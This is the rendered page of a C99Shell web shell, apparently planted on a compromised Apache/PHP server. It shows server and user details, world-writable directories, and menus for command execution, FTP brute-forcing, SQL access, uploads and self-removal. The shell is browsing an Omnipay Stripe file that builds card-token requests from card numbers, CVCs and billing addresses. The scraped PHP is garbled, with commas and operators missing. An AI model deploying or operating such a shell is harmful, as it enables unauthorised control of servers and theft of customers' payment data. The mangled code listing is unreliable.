!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/omnipay/stripe/src/Message/   drwxrwxrwx
Free 13.17 GB of 57.97 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateTokenRequest.php (3.6 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Omnipay\Stripe\Message;

use 
Omnipay\Common\Exception\InvalidRequestException;

/**
 * Message which creates a new card token, or in a Connect API
 * workflow can be used to share clients between the platform and
 * the connected accounts.
 *
 * Creates a single use token that wraps the details of a credit card.
 * This token can be used in place of a credit card dictionary with any API method.
 * These tokens can only be used once: by creating a new charge object, or attaching them to a customer.
 *
 * In most cases, you should create tokens client-side using Checkout, Elements, or our mobile libraries,
 * instead of using the API.
 *
 * @link https://stripe.com/docs/api#create_card_token
 */
class CreateTokenRequest extends AbstractRequest
{
    
/**
     * @inheritdoc
     *
     * @param \Omnipay\Common\CreditCard $value Credit card object
     * @return \Omnipay\Common\Message\AbstractRequest $this
     */
    
public function setCard($value)
    {
        return 
parent::setCard($value);
    }

    
/**
     * The id of the customer with format cus_<identifier>.
     * <strong>Only use this if you are using Connect API</strong>
     *
     * @param string $customer The id of the customer
     * @return \Omnipay\Common\Message\AbstractRequest|\Omnipay\Stripe\Message\CreateTokenRequest
     */
    
public function setCustomer($customer)
    {
        return 
$this->setParameter('customer'$customer);
    }

    
/**
     * Get the raw data array for this message. The format of this varies from gateway to
     * gateway, but will usually be either an associative array, or a SimpleXMLElement.
     * @return mixed
     * @throws InvalidRequestException
     */
    
public function getData()
    {
        
$data = array();

        if (
$this->getParameter('customer')) {
            
$data['customer'] = $this->getParameter('customer');
        } elseif (
$this->getParameter('card')) {
            
/* @var $card \OmniPay\Common\CreditCard */
            
$card $this->getParameter('card');
            
$card->validate();

            
$card_data = array(
                
'exp_month' => $card->getExpiryMonth(),
                
'exp_year' => $card->getExpiryYear(),
                
'number' => $card->getNumber(),
            );

            if (
$card->getBillingCity()) {
                
$card_data['address_city'] = $card->getBillingCity();
            }

            if (
$card->getBillingCountry()) {
                
$card_data['address_country'] = $card->getBillingCountry();
            }

            if (
$card->getBillingAddress1()) {
                
$card_data['address_line1'] = $card->getBillingAddress1();
            }

            if (
$card->getBillingAddress2()) {
                
$card_data['address_line2'] = $card->getBillingAddress2();
            }

            if (
$card->getBillingState()) {
                
$card_data['address_state'] = $card->getBillingState();
            }

            if (
$card->getBillingPostcode()) {
                
$card_data['address_zip'] = $card->getBillingPostcode();
            }

            if (
$card->getCvv()) {
                
$card_data['cvc'] = $card->getCvv();
            }

            if (
$card->getBillingName()) {
                
$card_data['name'] = $card->getBillingName();
            }

            
$data['card'] = $card_data;
        } else {
            throw new 
InvalidRequestException("You must pass either the card or the customer");
        }

        return 
$data;
    }

    
/**
     * @inheritdoc
     *
     * @return string The endpoint for the create token request.
     */
    
public function getEndpoint()
    {
        return 
$this->endpoint '/tokens';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0085 ]--